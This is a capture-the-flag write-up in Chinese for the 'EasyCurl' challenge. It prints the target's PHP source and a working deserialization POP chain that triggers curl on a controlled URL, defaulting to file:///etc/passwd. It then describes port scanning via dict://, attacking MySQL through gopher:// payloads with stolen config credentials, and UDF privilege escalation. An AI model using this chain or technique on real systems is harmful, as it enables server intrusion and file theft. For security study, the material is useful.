EasyCurl
没看到有个hint是common.php.bak,加上还要扫一下目录,注意到其实是有很多文件的。
其中app文件中可以拿到admin账号,登录后台到admin.php,后面就是噩梦的开始了。
拿到了common.php,加上有个反序列化的点,构造poc,最终能触发的是一个curl(url),其中参数可控。
<?php
class User
{
public $username;
public $password;
public $personal_intro;
public $gender;
public $valid;
public $session_id;
public $logger;
public $db_operator;
public function __construct()
{
// $this->username=$username;
// $this->password=md5($password);
}
public function __toString()
{
return 'username:'.$this->username;
}
public function __wakeup()
{
// echo 'test';
$this->logger=new logger('log/user_'.$this->username.'.log');
$this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' loaded in');
}
public function initialize_db($host,$db,$user,$pass){
$this->db_operator=new db($host,$db,$user,$pass);
}
public function set_current_session_id($session_id){
$this->session_id=$session_id;
}
public function update_database(){
if($this->username!=''&&strlen($this->password)==32){
}
else{
echo 'invalid data';
}
}
public function set_password($new_password){
$this->password=$new_password;
//pdo插入数据
}
public function set_gender($new_gender){
$this->gender=$new_gender;
}
public function set_personal_intro($new_personal_intro){
$this->personal_intro=$new_personal_intro;
}
public function check_valid_user(){
require 'config.php';
$this->initialize_db($host,$db,$user,$pass);
$info=$this->db_operator->query_one('user','username',$this->username);
//print_r($info);
$password='';
if(isset($info[0]['password']))
$password=$info[0]['password'];
//echo $password;
//pdo获取密码
if($this->password===$password){
$this->logger=new logger('log/user_'.$this->username);
$this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' logged in');
$this->valid=true;
return true;
}
$this->valid=false;
return false;
}
}
class db{
public $dbh;
public function __construct($host,$db,$user,$pass)
{
try{
$this->dbh=new PDO('mysql:host='.$host.';dbname='.$db,$user,$pass);
$this->dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
}catch (PDOException $e){
echo 'database connect fail: '.$e;
return false;
}
return true;
}
public function __destruct()
{
$this->close();
}
public function query_all(){
$query='select * from user ';
$prepared=$this->dbh->prepare($query);
$prepared->execute();
if(!$prepared->fetchAll()){
return false;
}
return $prepared->fetchAll();
}
public function query_one($table,$column,$limitation){
$query="select * from user where username= ? ";
$prepared=$this->dbh->prepare($query);
$prepared->execute(array($limitation));
//var_dump($prepared);
return $prepared->fetchAll();
}
// public function update_one($table,$set_column,$value,$where_column,$limitation){
// $query='update user set ? = ? where ? = ?';
// $prepared=$this->dbh->prepare($query);
// return $prepared->execute(array($set_column,$value,$where_column,$limitation));
// }
public function insert_one($value_array){
$query='insert into user values ? , ? , ? , ?';
$prepared=$this->dbh->prepare($query);
return $prepared->execute($value_array);
}
public function close(){
$this->dbh=null;
}
}
class cache_parser{
public $user;
public $user_cache;
public $default_handler='call_handler';
public $logger;
public function __construct()
{
// $this->logger=new logger('log/parser');
// $this->default_handler=new file_request();
}
public function __toString()
{
$this->save_user_info();
//var_dump($this->user);
//var_dump($this->user_cache);
return $this->user_cache;
}
public function __call($name, $arguments)
{
$handler=$this->default_handler;
$handler();
}
public function get_user($user){
$this->user=$user;
}
public function save_user_info(){
if(isset($this->user->session_id)){
if(preg_match('/[^A-Za-z_]/',$this->user->username)||preg_match('/ph|htaccess|\./i',$this->user->session_id)){
echo '<p>illegal username or session id</p>';
return false;
}
$this->user_cache=serialize($this->user);
file_put_contents('cache_'.$this->user->session_id.'.txt',$this->user_cache);
$this->logger->write_log(date('Y-m-d H:i:s').' | extracted user info: '.$this->user);
return true;
}
echo $this->user->session_id;
return false;
}
public function get_user_cache($session_id){
if(isset($_SESSION[$session_id])){
$this->user_cache=file_get_contents('cache_'.$session_id.'.txt');
$this->user=unserialize($this->user_cache);
return true;
}
return false;
}
public function load_user($user_cache){
$this->user=unserialize($user_cache);
return $this->user;
}
}
class file_request{
public $url;
public $content;
public function __construct()
{
$this->url='file:///etc/passwd';
$this->content='';
}
public function request(){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
$this->content=curl_exec($ch);
echo 'resource requested!';
curl_close($ch);
}
public function get_response(){
echo $this->content;
return $this->content;
}
public function __invoke()
{
if($this->content!=''){
return $this->get_response();
}
elseif ($this->url!=''){
$this->request();
return $this->get_response();
}
else{
return 'empty url!';
}
}
}
class logger{
public $filename;
public function __construct($log)
{
$this->filename=$log;
}
public function write_log($content){
file_put_contents($this->filename.'.log',$content.PHP_EOL,FILE_APPEND);
// echo 'log!';
}
}
function call_handler($name){
echo 'call to undefined function '.$name.'()';
}
$c1=new cache_parser();
$c1->default_handler=new file_request();
$c2=new cache_parser();
$u1=new User();
$u1->session_id=1;
$c2->user=$u1;
$c2->logger=$c1;
$u2=new User();
$u2->username=$c2;
echo serialize($u2);回顾一下curl能支持的协议无非http/dict/gohper/ftp,所以这里有个任意文件读取,但是读不到flag,http的话也用不上,尝试用dict扫描端口,发现3306端口开放了mysql,剩下的Redis之类的服务也没有,但是gohper协议能用的情况下我们可以攻击mysql服务,差的无非就是配置信息,结合上面扫描目录出的config.php,利用任意文件读取读取config.php,拿到账号,使用脚本gohperus来实现一个gohper的exp生成
然后这里由于没什么头绪,我尝试了一些比较愚笨的方法,首先是secuer_file_priv设置为/usr/lib/mysql/plugin/,于是webshell是不行的,尝试了一下写日志,依然不能写到除了/mysql目录下的其他地方。
思路似乎卡死,于是开始考虑其他提权的方式,想到了UDF提权,刚好UDF提权的首要条件就是需要在 /usr/lib/mysql/plugin/ 目录下写入so文件,而该目录是secure_file_priv的可写目录,其实是比较明显的暗示了。
最后执行的所有语句如下,通过脚本转成gohper://xxx进行攻击。
Last updated